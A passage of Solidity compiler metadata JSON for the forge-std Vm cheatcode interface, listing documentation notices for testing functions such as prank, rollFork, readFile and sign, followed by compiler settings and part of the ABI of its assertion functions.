`int256`.\"},\"parseJson(string)\":{\"notice\":\"ABI-encodes a JSON object.\"},\"parseJson(string,string)\":{\"notice\":\"ABI-encodes a JSON object at `key`.\"},\"parseJsonAddress(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `address`.\"},\"parseJsonAddressArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `address[]`.\"},\"parseJsonBool(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bool`.\"},\"parseJsonBoolArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bool[]`.\"},\"parseJsonBytes(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bytes`.\"},\"parseJsonBytes32(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bytes32`.\"},\"parseJsonBytes32Array(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bytes32[]`.\"},\"parseJsonBytesArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `bytes[]`.\"},\"parseJsonInt(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `int256`.\"},\"parseJsonIntArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `int256[]`.\"},\"parseJsonKeys(string,string)\":{\"notice\":\"Returns an array of all the keys in a JSON object.\"},\"parseJsonString(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `string`.\"},\"parseJsonStringArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `string[]`.\"},\"parseJsonUint(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `uint256`.\"},\"parseJsonUintArray(string,string)\":{\"notice\":\"Parses a string of JSON data at `key` and coerces it to `uint256[]`.\"},\"parseToml(string)\":{\"notice\":\"ABI-encodes a TOML table.\"},\"parseToml(string,string)\":{\"notice\":\"ABI-encodes a TOML table at `key`.\"},\"parseTomlAddress(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `address`.\"},\"parseTomlAddressArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `address[]`.\"},\"parseTomlBool(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bool`.\"},\"parseTomlBoolArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bool[]`.\"},\"parseTomlBytes(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes`.\"},\"parseTomlBytes32(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes32`.\"},\"parseTomlBytes32Array(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes32[]`.\"},\"parseTomlBytesArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `bytes[]`.\"},\"parseTomlInt(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `int256`.\"},\"parseTomlIntArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `int256[]`.\"},\"parseTomlKeys(string,string)\":{\"notice\":\"Returns an array of all the keys in a TOML table.\"},\"parseTomlString(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `string`.\"},\"parseTomlStringArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `string[]`.\"},\"parseTomlUint(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `uint256`.\"},\"parseTomlUintArray(string,string)\":{\"notice\":\"Parses a string of TOML data at `key` and coerces it to `uint256[]`.\"},\"parseUint(string)\":{\"notice\":\"Parses the given `string` into a `uint256`.\"},\"pauseGasMetering()\":{\"notice\":\"Pauses gas metering (i.e. gas usage is not counted). Noop if already paused.\"},\"prank(address)\":{\"notice\":\"Sets the *next* call's `msg.sender` to be the input address.\"},\"prank(address,address)\":{\"notice\":\"Sets the *next* call's `msg.sender` to be the input address, and the `tx.origin` to be the second input.\"},\"prevrandao(bytes32)\":{\"notice\":\"Sets `block.prevrandao`. Not available on EVM versions before Paris. Use `difficulty` instead. If used on unsupported EVM versions it will revert.\"},\"projectRoot()\":{\"notice\":\"Get the path of the current project root.\"},\"readCallers()\":{\"notice\":\"Reads the current `msg.sender` and `tx.origin` from state and reports if there is any active caller modification.\"},\"readDir(string)\":{\"notice\":\"Reads the directory at the given path recursively, up to `maxDepth`. `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned. Follows symbolic links if `followLinks` is true.\"},\"readDir(string,uint64)\":{\"notice\":\"See `readDir(string)`.\"},\"readDir(string,uint64,bool)\":{\"notice\":\"See `readDir(string)`.\"},\"readFile(string)\":{\"notice\":\"Reads the entire content of file to string. `path` is relative to the project root.\"},\"readFileBinary(string)\":{\"notice\":\"Reads the entire content of file as binary. `path` is relative to the project root.\"},\"readLine(string)\":{\"notice\":\"Reads next line of file to string.\"},\"readLink(string)\":{\"notice\":\"Reads a symbolic link, returning the path that the link points to. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` is not a symbolic link. - `path` does not exist.\"},\"record()\":{\"notice\":\"Records all storage reads and writes.\"},\"recordLogs()\":{\"notice\":\"Record all the transaction logs.\"},\"rememberKey(uint256)\":{\"notice\":\"Adds a private key to the local forge wallet and returns the address.\"},\"removeDir(string,bool)\":{\"notice\":\"Removes a directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` doesn't exist. - `path` isn't a directory. - User lacks permissions to modify `path`. - The directory is not empty and `recursive` is false. `path` is relative to the project root.\"},\"removeFile(string)\":{\"notice\":\"Removes a file from the filesystem. This cheatcode will revert in the following situations, but is not limited to just these cases: - `path` points to a directory. - The file doesn't exist. - The user lacks permissions to remove the file. `path` is relative to the project root.\"},\"replace(string,string,string)\":{\"notice\":\"Replaces occurrences of `from` in the given `string` with `to`.\"},\"resetNonce(address)\":{\"notice\":\"Resets the nonce of an account to 0 for EOAs and 1 for contract accounts.\"},\"resumeGasMetering()\":{\"notice\":\"Resumes gas metering (i.e. gas usage is counted again). Noop if already on.\"},\"revertTo(uint256)\":{\"notice\":\"Revert the state of the EVM to a previous snapshot Takes the snapshot ID to revert to. Returns `true` if the snapshot was successfully reverted. Returns `false` if the snapshot does not exist. **Note:** This does not automatically delete the snapshot. To delete the snapshot use `deleteSnapshot`.\"},\"revertToAndDelete(uint256)\":{\"notice\":\"Revert the state of the EVM to a previous snapshot and automatically deletes the snapshots Takes the snapshot ID to revert to. Returns `true` if the snapshot was successfully reverted and deleted. Returns `false` if the snapshot does not exist.\"},\"revokePersistent(address)\":{\"notice\":\"Revokes persistent status from the address, previously added via `makePersistent`.\"},\"revokePersistent(address[])\":{\"notice\":\"See `revokePersistent(address)`.\"},\"roll(uint256)\":{\"notice\":\"Sets `block.height`.\"},\"rollFork(bytes32)\":{\"notice\":\"Updates the currently active fork to given transaction. This will `rollFork` with the number of the block the transaction was mined in and replays all transaction mined before it in the block.\"},\"rollFork(uint256)\":{\"notice\":\"Updates the currently active fork to given block number This is similar to `roll` but for the currently active fork.\"},\"rollFork(uint256,bytes32)\":{\"notice\":\"Updates the given fork to block number of the given transaction and replays all transaction mined before it in the block.\"},\"rollFork(uint256,uint256)\":{\"notice\":\"Updates the given fork to given block number.\"},\"rpc(string,string)\":{\"notice\":\"Performs an Ethereum JSON-RPC request to the current fork URL.\"},\"rpcUrl(string)\":{\"notice\":\"Returns the RPC url for the given alias.\"},\"rpcUrlStructs()\":{\"notice\":\"Returns all rpc urls and their aliases as structs.\"},\"rpcUrls()\":{\"notice\":\"Returns all rpc urls and their aliases `[alias, url][]`.\"},\"selectFork(uint256)\":{\"notice\":\"Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.\"},\"serializeAddress(string,string,address)\":{\"notice\":\"See `serializeJson`.\"},\"serializeAddress(string,string,address[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeBool(string,string,bool)\":{\"notice\":\"See `serializeJson`.\"},\"serializeBool(string,string,bool[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes(string,string,bytes)\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes(string,string,bytes[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes32(string,string,bytes32)\":{\"notice\":\"See `serializeJson`.\"},\"serializeBytes32(string,string,bytes32[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeInt(string,string,int256)\":{\"notice\":\"See `serializeJson`.\"},\"serializeInt(string,string,int256[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeJson(string,string)\":{\"notice\":\"Serializes a key and value to a JSON object stored in-memory that can be later written to a file. Returns the stringified version of the specific JSON file up to that moment.\"},\"serializeString(string,string,string)\":{\"notice\":\"See `serializeJson`.\"},\"serializeString(string,string,string[])\":{\"notice\":\"See `serializeJson`.\"},\"serializeUint(string,string,uint256)\":{\"notice\":\"See `serializeJson`.\"},\"serializeUint(string,string,uint256[])\":{\"notice\":\"See `serializeJson`.\"},\"setEnv(string,string)\":{\"notice\":\"Sets environment variables.\"},\"setNonce(address,uint64)\":{\"notice\":\"Sets the nonce of an account. Must be higher than the current nonce of the account.\"},\"setNonceUnsafe(address,uint64)\":{\"notice\":\"Sets the nonce of an account to an arbitrary value.\"},\"sign((address,uint256,uint256,uint256),bytes32)\":{\"notice\":\"Signs data with a `Wallet`.\"},\"sign(uint256,bytes32)\":{\"notice\":\"Signs `digest` with `privateKey` using the secp256k1 curve.\"},\"signP256(uint256,bytes32)\":{\"notice\":\"Signs `digest` with `privateKey` using the secp256r1 curve.\"},\"skip(bool)\":{\"notice\":\"Marks a test as skipped. Must be called at the top of the test.\"},\"sleep(uint256)\":{\"notice\":\"Suspends execution of the main thread for `duration` milliseconds.\"},\"snapshot()\":{\"notice\":\"Snapshot the current state of the evm. Returns the ID of the snapshot that was created. To revert a snapshot use `revertTo`.\"},\"split(string,string)\":{\"notice\":\"Splits the given `string` into an array of strings divided by the `delimiter`.\"},\"startBroadcast()\":{\"notice\":\"Using the address that calls the test contract, has all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain.\"},\"startBroadcast(address)\":{\"notice\":\"Has all subsequent calls (at this call depth only) create transactions with the address provided that can later be signed and sent onchain.\"},\"startBroadcast(uint256)\":{\"notice\":\"Has all subsequent calls (at this call depth only) create transactions with the private key provided that can later be signed and sent onchain.\"},\"startMappingRecording()\":{\"notice\":\"Starts recording all map SSTOREs for later retrieval.\"},\"startPrank(address)\":{\"notice\":\"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called.\"},\"startPrank(address,address)\":{\"notice\":\"Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called, and the `tx.origin` to be the second input.\"},\"startStateDiffRecording()\":{\"notice\":\"Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order, along with the context of the calls\"},\"stopAndReturnStateDiff()\":{\"notice\":\"Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session.\"},\"stopBroadcast()\":{\"notice\":\"Stops collecting onchain transactions.\"},\"stopExpectSafeMemory()\":{\"notice\":\"Stops all safe memory expectation in the current subcontext.\"},\"stopMappingRecording()\":{\"notice\":\"Stops recording all map SSTOREs for later retrieval and clears the recorded data.\"},\"stopPrank()\":{\"notice\":\"Resets subsequent calls' `msg.sender` to be `address(this)`.\"},\"store(address,bytes32,bytes32)\":{\"notice\":\"Stores a value to an address' storage slot.\"},\"toBase64(bytes)\":{\"notice\":\"Encodes a `bytes` value to a base64 string.\"},\"toBase64(string)\":{\"notice\":\"Encodes a `string` value to a base64 string.\"},\"toBase64URL(bytes)\":{\"notice\":\"Encodes a `bytes` value to a base64url string.\"},\"toBase64URL(string)\":{\"notice\":\"Encodes a `string` value to a base64url string.\"},\"toLowercase(string)\":{\"notice\":\"Converts the given `string` value to Lowercase.\"},\"toString(address)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(bool)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(bytes)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(bytes32)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(int256)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toString(uint256)\":{\"notice\":\"Converts the given value to a `string`.\"},\"toUppercase(string)\":{\"notice\":\"Converts the given `string` value to Uppercase.\"},\"transact(bytes32)\":{\"notice\":\"Fetches the given transaction from the active fork and executes it on the current state.\"},\"transact(uint256,bytes32)\":{\"notice\":\"Fetches the given transaction from the given fork and executes it on the current state.\"},\"trim(string)\":{\"notice\":\"Trims leading and trailing whitespace from the given `string` value.\"},\"tryFfi(string[])\":{\"notice\":\"Performs a foreign function call via terminal and returns the exit code, stdout, and stderr.\"},\"txGasPrice(uint256)\":{\"notice\":\"Sets `tx.gasprice`.\"},\"unixTime()\":{\"notice\":\"Returns the time since unix epoch in milliseconds.\"},\"warp(uint256)\":{\"notice\":\"Sets `block.timestamp`.\"},\"writeFile(string,string)\":{\"notice\":\"Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root.\"},\"writeFileBinary(string,bytes)\":{\"notice\":\"Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does. `path` is relative to the project root.\"},\"writeJson(string,string)\":{\"notice\":\"Write a serialized JSON object to a file. If the file exists, it will be overwritten.\"},\"writeJson(string,string,string)\":{\"notice\":\"Write a serialized JSON object to an **existing** JSON file, replacing a value with key = This is useful to replace a specific value of a JSON file, without having to parse the entire thing.\"},\"writeLine(string,string)\":{\"notice\":\"Writes line to file, creating a file if it does not exist. `path` is relative to the project root.\"},\"writeToml(string,string)\":{\"notice\":\"Takes serialized JSON, converts to TOML and write a serialized TOML to a file.\"},\"writeToml(string,string,string)\":{\"notice\":\"Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = This is useful to replace a specific value of a TOML file, without having to parse the entire thing.\"}},\"notice\":\"The `Vm` interface does allow manipulation of the EVM state. These are all intended to be used in tests, but it is not recommended to use these cheats in scripts.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/Vm.sol\":\"Vm\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"target","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"accesses","outputs":[{"internalType":"bytes32[]","name":"readSlots","type":"bytes32[]"},{"internalType":"bytes32[]","name":"writeSlots","type":"bytes32[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"activeFork","outputs":[{"internalType":"uint256","name":"forkId","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"pure","type":"function","name":"addr","outputs":[{"internalType":"address","name":"keyAddr","type":"address"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"allowCheatcodes"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbs"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqAbsDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRel"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"maxPercentDelta","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertApproxEqRelDecimal"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address[]","name":"left","type":"address[]"},{"internalType":"address[]","name":"right","type":"address[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"address","name":"left","type":"address"},{"internalType":"address","name":"right","type":"address"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256[]","name":"left","type":"int256[]"},{"internalType":"int256[]","name":"right","type":"int256[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256[]","name":"left","type":"uint256[]"},{"internalType":"uint256[]","name":"right","type":"uint256[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes32","name":"left","type":"bytes32"},{"internalType":"bytes32","name":"right","type":"bytes32"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes32[]","name":"left","type":"bytes32[]"},{"internalType":"bytes32[]","name":"right","type":"bytes32[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes","name":"left","type":"bytes"},{"internalType":"bytes","name":"right","type":"bytes"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool[]","name":"left","type":"bool[]"},{"internalType":"bool[]","name":"right","type":"bool[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string[]","name":"left","type":"string[]"},{"internalType":"string[]","name":"right","type":"string[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"string","name":"left","type":"string"},{"internalType":"string","name":"right","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bytes[]","name":"left","type":"bytes[]"},{"internalType":"bytes[]","name":"right","type":"bytes[]"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"bool","name":"left","type":"bool"},{"internalType":"bool","name":"right","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertEq"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertEqDecimal"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertFalse"},{"inputs":[{"internalType":"bool","name":"condition","type":"bool"}],"stateMutability":"pure","type":"function","name":"assertFalse"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGe"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGeDecimal"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGt"},{"inputs":[{"internalType":"int256","name":"left","type":"int256"},{"internalType":"int256","name":"right","type":"int256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"pure","type":"function","name":"assertGtDecimal"},{"inputs":[{"internalType":"uint256","name":"left","type":"uint256"},{"internalType":"uint256","name":"right","type":"uint256"},{"internalType":"uint256","name":"decimals","type":"uint256"},{"internalType":"string","name":"error","type":"string"}],"stateM